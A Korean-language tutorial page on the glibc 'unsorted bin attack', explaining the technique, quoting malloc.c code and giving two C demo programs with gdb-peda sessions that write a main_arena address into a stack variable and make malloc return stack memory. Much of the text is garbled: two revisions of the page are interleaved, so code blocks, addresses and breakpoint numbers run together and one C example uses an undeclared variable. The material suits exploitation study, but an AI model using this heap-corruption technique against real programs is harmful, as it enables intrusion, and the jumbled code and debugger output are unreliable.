...
Excuse the ads! We need some help to keep our site up.
Include Page 00.Notice 00.Notice
List
Table of Contents outline true exclude List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 Unsorted chunk를 생성 할 수있어야 합니다.
- 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
- 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
2개의 Heap(Small chunk)을 생성합니다.
첫번째 Heap 영역을 해제합니다.
- 해당 Heap 영역은 Unsort bin에 등록됩니다.
해제된 첫번째 Heap의 bk 영역에 공격 대상이 될 주소 값을 덮어 씁니다.
- bk 영역에 저장 값 계산
- 32 bit : 공격 대상의 주소 값 - 8
- 64 bit : 공격 대상의 주소 값 - 16
- bk 영역에 저장 값 계산
첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당 합니다.
이로 인해 공격 대상 영역에 main_arena 영역의 주소가 저장됩니다.
Exploit point
- 아래의 malloc.c 코드에 의해 취약성이 발생합니다.
- unsorted bin에 등록된 unsorted chunk의 bk값을 변경하여 victim의 값을 변경할 수 있습니다.
- 변경된 victim의 bk영역에 저장된 값을 bck에 저장합니다.
- 이로 인해 변경된 unsorted chunk의 bk값 + 0x10 영역에 main_arena.top의 주소값을 저장할 수 있습니다.(line 3511)
Unsorted bin attack
Unsorted bin attack을 이해하기 위해서는 malloc()이 unsorted bin에 등록된 chunk를 재할당 할때 해당 chunk를 unsorted bin의 list에서 삭제하는 방식에 대해 이해가 필요합니다.
- 메모리 할당을 malloc()에 요청하면, 할당자는 요청한 메모리의 크기가 fast bin, small bin, large bin에서 사용 가능한 chunk가 있는지 확인합니다.
할당자는 해당 bins에서 사용가능한 chunk를 찾지 못하면, unsorted_chunks (av)->bk가 가지고 있는 값과 unsorted_chunks (av)의 반환값이 다른 값인지 확인합니다.
이 값들이 서로 다르다면 Unsorted bin에는 free chunk가 있다는 것을 나타냅니다.
Unsorted bin에 free chunk가 있다면 unsorted_chunks->bk의 값을 victim에 저장합니다.
그리고 victim->bk가 가지고 있는 데이터는 bck에 저장합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
for ( | ||||||||
Code Block | ||||||||
| ||||||||
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; ... /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); ... } |
Info | ||
---|---|---|
| ||
unsorted_chunks() 함수는 main_arena.top 의 주소를 리턴 합니다. |
Example
Files
Panel |
---|
Source code
- unsorted_chunks (av)은 bin_at()를 호출여 반환된 값을 반환합니다.
- bin_at()는 main_arena.bin[0]의 주소에서 16을 뺀 값을 반환합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at (M, 1)) |
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \ | ||||||||
Code Block | ||||||||
| ||||||||
#include <stdio.h> #include <stdlib.h> int main(){ long state = 0; printf("Stack : %p\n", &state); char *buf1 = malloc(130); - char *buf2 = malloc(500); free(buf1); scanf("%16s",buf1); buf1 = malloc(130); if(state){ offsetof (struct malloc_chunk, fd)) |
- 할당자는 Unsorted list에 배치된 chunk를 재할당 한후, chunk를 unsorted list에서 삭제할 때 bck가 가지고 있는 데이터를 main_arena.bin[0]->bk에 저장합니다.
- 그리고 할당자는 unsorted_chunks()이 반환한 값을 bck→fd에 저장합니다.
Code Block | ||||||||
---|---|---|---|---|---|---|---|---|
| ||||||||
/* remove from unsorted list printf("Hello world!\n"); */ } } |
Exploit flow
Panel | ||
---|---|---|
| ||
Debugging
- 다음과 같이 Break point를 설정합니다.
- 0x4006c6 : free() 함수 호출
- 0x4006dc : scanf() 함수 호출
- 0x4006e6 : malloc() 함수 호출
- 0x4006fd : put() 함수 호출
Code Block | ||
---|---|---|
| ||
gdb-peda$ b *0x00000000004006c6
Breakpoint 1 at 0x4006c6
gdb-peda$ b *0x00000000004006dc
Breakpoint 2 at 0x4006dc
gdb-peda$ b *0x00000000004006e6
Breakpoint 3 at 0x4006e6
gdb-peda$ b *0x00000000004006fd
Breakpoint 4 at 0x4006fd |
- 다음과 같이 Heap 의 구조와 Unsorted bin의 상태를 확인할 수 있습니다.
- Unsorted bin에 등록된 chunk는 없습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/unsortedBinAttack
Stack : 0x7fffffffe258
Breakpoint 1, 0x00000000004006c6 in main ()
gdb-peda$ p main_arena.bins[1]
$1 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88>
gdb-peda$ x/84gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000201
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000
0x6021b0: 0x0000000000000000 0x0000000000000000
0x6021c0: 0x0000000000000000 0x0000000000000000
0x6021d0: 0x0000000000000000 0x0000000000000000
0x6021e0: 0x0000000000000000 0x0000000000000000
0x6021f0: 0x0000000000000000 0x0000000000000000
0x602200: 0x0000000000000000 0x0000000000000000
0x602210: 0x0000000000000000 0x0000000000000000
0x602220: 0x0000000000000000 0x0000000000000000
0x602230: 0x0000000000000000 0x0000000000000000
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000000
0x602260: 0x0000000000000000 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000000
0x602280: 0x0000000000000000 0x0000000000000000
0x602290: 0x0000000000000000 0x0000000000020d71
gdb-peda$ |
- 다음과 같이 bk영역에 값을 덮어쓸수 있습니다.
- 첫번째 Heap 영역이 해제되어 Unsorted bin에 등록되었습니다.
- 첫번째 Heap 영역이 Free chunk로 변경되었으며, 해당 영역을 덮어쓸 수 있습니다.
- 'A' * 8 + 'B' * 8 개의 문자를 입력
- Unsorted bin attack을 확인하기 위해 아래와 같이 값을 변경합니다.
0x602010 : 0x00007ffff7dd37b8
- 0x602018 : state addr(0x7fffffffe258) - 16 = 0x00007fffffffe248
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av); |
예를 들어 다음과 같이 unsorted_chunks (av)가 반환한 값이 0x7ffff7dd1b78이고, unsorted_chunks (av)->bk의 값은 0x602000입니다.
- 두 값은 서로 다르기 때문에 할당자는 "0x602000->bk"에 보관된 주소(0x00007ffff7dd1b78)를 bck에 저장합니다.
- 그리고 할당자는 unsorted list에 있는 chunk를 재할당합니다.
- 해당 chunk를 unsorted list에서 제거하기 위해 할당자는 "bck"에 보관된 주소(0x00007ffff7dd1b78)를 unsorted_chunks (av)->bk에 저장합니다.
- 그리고 unsorted_chunks(av)가 반환한 값(0x7ffff7dd1b78)은 bck→fd에 저장합니다.
Panel |
---|
Unsorted bin attack은 할당자가 Unsorted list에서 chunk를 삭제하기 전에, free chunk의 bk에 값을 덮어써서 원하는 영역에 main_arena의 주소("&main_arena.bin[0] - 16")를 저장하는 기술입니다.
공격자가 stack 주소(0x7fffffffe248)를 Unsorted list에 등록된 chunk의 "bk"에 덮어쓰면, 할당자는 bck에 보관된 주소가 0x7fffffffe248이기 때문에 unsorted_chunks()가 반환한 주소를 bck→fd(0x7fffffffe258)에 저장합니다.
Panel | ||
---|---|---|
| ||
Example
Example1
- 다음 코드는 state에 0을 저장하고, 크키가 130byte인 메모리 2개 할당받고 처음 할당받은 메모리를 해제합니다.
- "((char*)&state) - 16"을 연산한 값을 buf1[1]에 저장한 후 크기가 130byte인 메모리 할당을 요청합니다.
- 그리고 "state"에 값이 있다면 메시지를 출력합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
unsigned long long state = 0;
fprintf(stderr,"Stack : %p\n", &state);
unsigned long long *buf1 = malloc(130);
char *buf2 = malloc(500);
free(buf1);
buf1[1] = (unsigned long long)(((char*)&state) - 16);
buf1 = malloc(130);
if(state){
fprintf(stderr,"Hello world!\n");
}
} |
- 0x4006ec, 0x4006fa에서 할당된 메모리의 주소를 확인합니다.
- 0x40070a에서 Unsorted bin의 list에 등록된 chunk의 fd,bk의 데이터를 확인합니다.
- 0x40071a에서 Unsorted bin attack을 위해 free chunk의 bk에 덮어쓰여진 값을 확인합니다.
- 0x400727에서 main_arena의 주소가 stack에 저장되어 있는지 확인합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin
Reading symbols from ./unsorted_bin...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004006a6 <+0>: push rbp
0x00000000004006a7 <+1>: mov rbp,rsp
0x00000000004006aa <+4>: sub rsp,0x20
0x00000000004006ae <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004006b7 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004006bb <+21>: xor eax,eax
0x00000000004006bd <+23>: mov QWORD PTR [rbp-0x20],0x0
0x00000000004006c5 <+31>: mov rax,QWORD PTR [rip+0x200994] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006cc <+38>: lea rdx,[rbp-0x20]
0x00000000004006d0 <+42>: mov esi,0x4007f4
0x00000000004006d5 <+47>: mov rdi,rax
0x00000000004006d8 <+50>: mov eax,0x0
0x00000000004006dd <+55>: call 0x400570 <fprintf@plt>
0x00000000004006e2 <+60>: mov edi,0x82
0x00000000004006e7 <+65>: call 0x400580 <malloc@plt>
0x00000000004006ec <+70>: mov QWORD PTR [rbp-0x18],rax
0x00000000004006f0 <+74>: mov edi,0x1f4
0x00000000004006f5 <+79>: call 0x400580 <malloc@plt>
0x00000000004006fa <+84>: mov QWORD PTR [rbp-0x10],rax
0x00000000004006fe <+88>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000400702 <+92>: mov rdi,rax
0x0000000000400705 <+95>: call 0x400540 <free@plt>
0x000000000040070a <+100>: mov rax,QWORD PTR [rbp-0x18]
0x000000000040070e <+104>: lea rdx,[rax+0x8]
0x0000000000400712 <+108>: lea rax,[rbp-0x20]
0x0000000000400716 <+112>: sub rax,0x10
0x000000000040071a <+116>: mov QWORD PTR [rdx],rax
0x000000000040071d <+119>: mov edi,0x82
0x0000000000400722 <+124>: call 0x400580 <malloc@plt>
0x0000000000400727 <+129>: mov QWORD PTR [rbp-0x18],rax
0x000000000040072b <+133>: mov rax,QWORD PTR [rbp-0x20]
0x000000000040072f <+137>: test rax,rax
0x0000000000400732 <+140>: je 0x400752 <main+172>
0x0000000000400734 <+142>: mov rax,QWORD PTR [rip+0x200925] # 0x601060 <stderr@@GLIBC_2.2.5>
0x000000000040073b <+149>: mov rcx,rax
0x000000000040073e <+152>: mov edx,0xd
0x0000000000400743 <+157>: mov esi,0x1
0x0000000000400748 <+162>: mov edi,0x400800
0x000000000040074d <+167>: call 0x400590 <fwrite@plt>
0x0000000000400752 <+172>: mov eax,0x0
0x0000000000400757 <+177>: mov rcx,QWORD PTR [rbp-0x8]
0x000000000040075b <+181>: xor rcx,QWORD PTR fs:0x28
0x0000000000400764 <+190>: je 0x40076b <main+197>
0x0000000000400766 <+192>: call 0x400550 <__stack_chk_fail@plt>
0x000000000040076b <+197>: leave
0x000000000040076c <+198>: ret
End of assembler dump.
gdb-peda$ b *0x00000000004006ec
Breakpoint 1 at 0x4006ec
gdb-peda$ b *0x00000000004006fa
Breakpoint 2 at 0x4006fa
gdb-peda$ b *0x000000000040070a
Breakpoint 3 at 0x40070a
gdb-peda$ b *0x000000000040071a
Breakpoint 4 at 0x40071a
gdb-peda$ b *0x0000000000400727
Breakpoint 5 at 0x400727
gdb-peda$ |
- 프로그램은 같은 크기의 메모리를 2개 할당받았습니다.
- 각 메모리의 주소는 0x602010, 0x6020a0 입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/unsorted_bin
Stack : 0x7fffffffe450
Breakpoint 1, 0x00000000004006ec in main ()
gdb-peda$ i r rax
rax 0x602010 0x602010
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004006fa in main ()
gdb-peda$ i r rax
rax 0x6020a0 0x6020a0
gdb-peda$ |
할당받은 첫번째 메모리(0x602010)의 해제를 free()에 요청하면, 해당 chunk가 unsorted list에 배치됩니다.
"(char*)&main_arena.bins[0] - 16"가 해당 chunk의 fd, bk에 저장됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 3, 0x000000000040070a in main ()
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
gdb-peda$ x/4gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000602290 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602000 0x0000000000602000
gdb-peda$ c
Continuing. |
- Unsorted bin attack를 위해 stack 영역의 주소를 ree chunk의 bk에 저장합니다.
Code Block | ||
---|---|---|
| ||
Breakpoint 4, 0x000000000040071a in main ()
gdb-peda$ x/i $rip
=> 0x40071a <main+116>: mov QWORD PTR [rdx],rax
gdb-peda$ i r rdx
rdx 0x602018 0x602018
gdb-peda$ i r rdx rax
rdx 0x602018 0x602018
rax 0x7fffffffe440 0x7fffffffe440
gdb-peda$ ni
0x000000000040071d in main ()
gdb-peda$ x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x00007ffff7dd1b78 0x00007fffffffe440
gdb-peda$ x/4gx 0x00007fffffffe440
0x7fffffffe440: 0x00007fffffffe550 0x000000000040070a
0x7fffffffe450: 0x0000000000000000 0x0000000000602010
gdb-peda$ |
Unsorted list에 배치된 chunk를 할당받기 위해 malloc()에 메모리 할당을 요청합니다.
메모리 할당 후에 "&main_arena[0] - 16"이 변수"state"(0x7fffffffe450)에 저장되었습니다.
- 변수 "state"가 가지고 있는 값이 0이 아니기 때문에 화면에 메시지를 출력합니다.
Code Block | ||
---|---|---|
| ||
Breakpoint 5, 0x0000000000400727 in main ()
gdb-peda$ i r rax
rax 0x602010 0x602010
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x00007ffff7dd1b78 0x00007fffffffe440
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x7fffffffe440
gdb-peda$ x/4gx 0x00007fffffffe440
0x7fffffffe440: 0x00007fffffffe470 0x0000000000400727
0x7fffffffe450: 0x00007ffff7dd1b78 0x0000000000602010
gdb-peda$ c
Continuing.
Hello world!
[Inferior 1 (process 124614) exited normally]
Warning: not running
gdb-peda$ |
Example2
이 코드는 "Unsorted_bin.c"와 기본적인 동작은 동일합니다.
다른 부분은 Fake chunk의 주소를 bck→fd에 저장한다는 것입니다.
fake chunk의 크기를 stack_var[0]에 저장되고, 변수 stack_var의 주소(fd)를 stack_var[2]에 저장합니다.
stack_var의 주소에서 8뺀 주소를 buf1[1]에 저장합니다.
- buf1[1]는 bck→fd입니다.
- 프로그램은 malloc()에게 Unsorted bin의 list에 있는 청크와 동일한 크기의 메모리 할당을 요청합니다.
- 그리고 malloc()에게 다시 메모리 할당을 요청합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
unsigned long long stack_var[3] = {0};
fprintf(stderr,"Stack : %p\n", &state);
unsigned long long *buf1 = malloc(130);
char *buf2 = malloc(500);
free(buf1);
stack_var[0] = 0x90;
stack_var[2] = (unsigned long long)stack_var;
buf1[1] = (unsigned long long)(((char*)&stack_var) - 8);
buf1 = malloc(130);
char *buf3 = malloc(130);
read(STDIN_FILENO,buf3,130);
} |
0x40071a에서 Unsorted list에 등록된 chunk와 Stack에 생성된 Fake chunk를 확인합니다.
0x40073a에서 free chunk의 bk를 덮어쓰는 값을 확인합니다.
0x400747, 0x400755에서 Unsorted bin의 변화와 반환된 pointer를 확인합니다.
0x40076a에서 malloc()으로 부터 할당된 메모리가 사용이 가능한지 확인합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin_into_stack
Reading symbols from ./unsorted_bin_into_stack...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004006a6 <+0>: push rbp
0x00000000004006a7 <+1>: mov rbp,rsp
0x00000000004006aa <+4>: sub rsp,0x40
0x00000000004006ae <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004006b7 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004006bb <+21>: xor eax,eax
0x00000000004006bd <+23>: mov QWORD PTR [rbp-0x20],0x0
0x00000000004006c5 <+31>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004006cd <+39>: mov QWORD PTR [rbp-0x10],0x0
0x00000000004006d5 <+47>: mov rax,QWORD PTR [rip+0x200984] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006dc <+54>: lea rdx,[rbp-0x20]
0x00000000004006e0 <+58>: mov esi,0x400814
0x00000000004006e5 <+63>: mov rdi,rax
0x00000000004006e8 <+66>: mov eax,0x0
0x00000000004006ed <+71>: call 0x400580 <fprintf@plt>
0x00000000004006f2 <+76>: mov edi,0x82
0x00000000004006f7 <+81>: call 0x400590 <malloc@plt>
0x00000000004006fc <+86>: mov QWORD PTR [rbp-0x38],rax
0x0000000000400700 <+90>: mov edi,0x1f4
0x0000000000400705 <+95>: call 0x400590 <malloc@plt>
0x000000000040070a <+100>: mov QWORD PTR [rbp-0x30],rax
0x000000000040070e <+104>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400712 <+108>: mov rdi,rax
0x0000000000400715 <+111>: call 0x400540 <free@plt>
0x000000000040071a <+116>: mov QWORD PTR [rbp-0x20],0x90
0x0000000000400722 <+124>: lea rax,[rbp-0x20]
0x0000000000400726 <+128>: mov QWORD PTR [rbp-0x10],rax
0x000000000040072a <+132>: mov rax,QWORD PTR [rbp-0x38]
0x000000000040072e <+136>: lea rdx,[rax+0x8]
0x0000000000400732 <+140>: lea rax,[rbp-0x20]
0x0000000000400736 <+144>: sub rax,0x8
0x000000000040073a <+148>: mov QWORD PTR [rdx],rax
0x000000000040073d <+151>: mov edi,0x82
0x0000000000400742 <+156>: call 0x400590 <malloc@plt>
0x0000000000400747 <+161>: mov QWORD PTR [rbp-0x38],rax
0x000000000040074b <+165>: mov edi,0x82
0x0000000000400750 <+170>: call 0x400590 <malloc@plt>
0x0000000000400755 <+175>: mov QWORD PTR [rbp-0x28],rax
0x0000000000400759 <+179>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040075d <+183>: mov edx,0x82
0x0000000000400762 <+188>: mov rsi,rax
0x0000000000400765 <+191>: mov edi,0x0
0x000000000040076a <+196>: call 0x400560 <read@plt>
0x000000000040076f <+201>: mov eax,0x0
0x0000000000400774 <+206>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400778 <+210>: xor rcx,QWORD PTR fs:0x28
0x0000000000400781 <+219>: je 0x400788 <main+226>
0x0000000000400783 <+221>: call 0x400550 <__stack_chk_fail@plt>
0x0000000000400788 <+226>: leave
0x0000000000400789 <+227>: ret
End of assembler dump.
gdb-peda$ b *0x000000000040071a
Breakpoint 1 at 0x40071a
gdb-peda$ b *0x000000000040073a
Breakpoint 2 at 0x40073a
gdb-peda$ b *0x0000000000400747
Breakpoint 3 at 0x400747
gdb-peda$ b *0x0000000000400755
Breakpoint 4 at 0x400755
gdb-peda$ b *0x000000000040076a
Breakpoint 5 at 0x40076a
gdb-peda$ |
- 프로그램은 malloc()에 2개의 메모리 할당을 요청하고 첫번째 메모리를 해제합니다.
- 해제된 메모리(0x602000)는 Unsorted list에 배치됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/unsorted_bin_into_stack
Stack : 0x7fffffffe430
Breakpoint 1, 0x000000000040071a in main ()
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
gdb-peda$ x/4gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000602290 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602000 0x0000000000602000
gdb-peda$ |
- Unsorted bin attack를 통해 메모리(Stack)를 할당받기 위해서는 Stack에 Free chunk와 같은 형태의 Fake chunk가 필요합니다.
- 프로그램은 Fake chunk를 만들기 위해 stack_var[0](0x7fffffffe430)에 0x90을 저장하고, stack_var[2](0x7fffffffe440)에 stack_var의 주소를 저장합니다.
- 0x7fffffffe430는 Fake chunk의 size가 되고, 0x7fffffffe440는 Fake chunk의 bk가 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ x/3i $rip
=> 0x40071a <main+116>: mov QWORD PTR [rbp-0x20],0x90
0x400722 <main+124>: lea rax,[rbp-0x20]
0x400726 <main+128>: mov QWORD PTR [rbp-0x10],rax
gdb-peda$ i r rbpx
rbp 0x7fffffffe450 0x7fffffffe450
gdb-peda$ p/x 0x7fffffffe450 - 0x20
$3 = 0x7fffffffe430
gdb-peda$ ni
0x0000000000400722 in main ()
gdb-peda$
0x0000000000400726 in main ()
gdb-peda$ x/i $rip
=> 0x400726 <main+128>: mov QWORD PTR [rbp-0x10],rax
gdb-peda$ i r rbp
rbp 0x7fffffffe450 0x7fffffffe450
gdb-peda$ p/x 0x7fffffffe450 - 0x10
$8 = 0x7fffffffe440
gdb-peda$ i r rax
rax 0x7fffffffe430 0x7fffffffe430
gdb-peda$ ni
0x000000000040072a in main ()
gdb-peda$ x/4gx 0x7fffffffe430
0x7fffffffe430: 0x0000000000000090 0x0000000000000000
0x7fffffffe440: 0x00007fffffffe430 0x1fe450c974875300
gdb-peda$ |
- main_arena.bins[0]->bk(0x602018)에 fake chunk의 주소(0x7fffffffe428)를 저장합니다.
- 이로 인해 main_arena.bins[0]->bk에 저장된 데이터는 fake chunk의 주소(0x7fffffffe428)가 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040073a in main ()
gdb-peda$ x/i $rip
=> 0x40073a <main+148>: mov QWORD PTR [rdx],rax
gdb-peda$ i r rdx rax
rdx 0x602018 0x602018
rax 0x7fffffffe428 0x7fffffffe428
gdb-peda$ x/4gx 0x7fffffffe428
0x7fffffffe428: 0x0000000000000000 0x0000000000000090
0x7fffffffe438: 0x0000000000000000 0x00007fffffffe430
gdb-peda$ p &main_arena.bins[0]->bk
$11 = (struct malloc_chunk **) 0x602018
gdb-peda$ ni
0x000000000040073d in main ()
gdb-peda$ p main_arena.bins[0]->bk
$4 = (struct malloc_chunk *) 0x7fffffffe428
gdb-peda$ ni
0x000000000040073d in main ()
gdb-peda$ x/4gx | ||
Code Block | ||
| ||
gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004006dc in main () gdb-peda$ p main_arena.bins[1] $2 = (mchunkptr) 0x602000 gdb-peda$ x/6gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x602020: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni AAAAAAAABBBBBBBB gdb-peda$ x/6gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x4141414141414141 0x4242424242424242 0x602020: 0x0000000000000000 0x0000000000000000 0x00000000004006e1 in main () gdb-peda$ set *0x602010 = 0x00007ffff7dd37b8 gdb-peda$ set *0x602014 = 0x00007fff gdb-peda$ set *0x602018 = 0x7fffffffe258 - 16 gdb-peda$ set *0x60201c = 0x7fff gdb-peda$ x/6gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd37b8 0x00007fffffffe248 0x602020: 0x0000000000000000 0x00000000000000000x00007ffff7dd1b78 0x00007fffffffe428 gdb-peda$ |
- 다음과 같이 state 변수에 값이 저장되었습니다.
- 해제된 첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당해서 state변수에 값이 저장되었습니다.
- 저장된 값은 main_arena+88 영역의 주소 값입니다.
- main_arena+88 영역은 main_arena의 top영역입니다.
- 이러한 현상은 free chunk의 bk영역에 덮어썻기 때문입니다.
- free() 함수에서 덮어쓴 bk값을 확인하고 다음 Chunk가 존재한다고 판단했기 때문입니다.
- free() 함수는 0x00007fffffffe248 영역이 다음 chunk이기 때문에 fd 영역(0x7fffffffe258)에 free chunk의 fd값(0x7ffff7dd37b8)을 저장합니다.
|
- 크기가 130byte인 메모리 할당을 malloc()에 요청하면 할당자는 Unsorted list에 배치된 chunk를 재할당 합니다.
- 할당자는 메모리를 재할당한 후에 Unsorted list에서 해당 chunk를 제거하고, Unsorted bin의 list를 갱신합니다.
- 이로 인해 Fake chunk의 주소가 main_arena.bins[1]에 저장됩니다.
- 그리고 다시 한번 같은 크기의 메모리 할당을 요청하면 stack 메모리(0x7fffffffe438)를 반환합니다.
- 해당 주소는 Fake chunk→fd의 주소입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ p main_arena.bins[1]
$14 = (mchunkptr) 0x602000
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000000000400747 in main ()
gdb-peda$ i r rax
rax 0x602010 0x602010
gdb-peda$ p main_arena.bins[0]
$6 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1]
$7 = (mchunkptr) 0x7fffffffe428
gdb-peda$ c
Continuing.
Breakpoint 4, 0x0000000000400755 | ||
Code Block | ||
| ||
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006e6 in main () gdb-peda$ x/gx 0x7fffffffe258 0x7fffffffe258: 0x0000000000000000 gdb-peda$ ni 0x00000000004006eb in main () gdb-peda$ i x/gxr 0x7fffffffe258 0x7fffffffe258: 0x00007ffff7dd37b8 gdb-peda$ x/gx 0x00007ffff7dd37b8 0x7ffff7dd37b8 <main_arena+88>: 0x0000000000602290 gdb-peda$ p &main_arena.top $3 = (mchunkptr *) 0x7ffff7dd37b8 <main_arena+88>rax rax 0x7fffffffe438 0x7fffffffe438 gdb-peda$ p main_arena.bins[1] $10 = (mchunkptr) 0x7fffffffe248 gdb-peda$ x/4gx 0x7fffffffe438 0x7fffffffe438: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x7fffffffe448: 0x33834f49afabc500 0x0000000000400790 gdb-peda$ p main_arena.bins[1] $20 = (mchunkptr) 0x7fffffffe430 gdb-peda$ |
- 할당받은 stack 메모리에 값을 저장할
- 다음과 같이 프로그램에서 문장을 출력합니다.
- state 변수의 값이 저장되어 if()의 조건을 만족시켰습니다.
- 해당 예제에서는 단순히 if()의 조건을 우회하기 위해 사용했으나, 다른 방법으로도 악용할 수 있습니다.
main_arena 영역에 값을 덮어쓰거나, global_max_fast 의 값을 변경 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 45, 0x00000000004006fd0x000000000040076a in main () gdb-peda$ i r rsi rsi 0x7fffffffe438 0x7fffffffe438 gdb-peda$ ni Hello world!AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD 0x00000000004007020x000000000040076f in main () gdb-peda$ x/4gx 0x7fffffffe438 0x7fffffffe438: 0x4141414141414141 0x4242424242424242 0x7fffffffe448: 0x4343434343434343 0x4444444444444444 gdb-peda$ |
Related information
...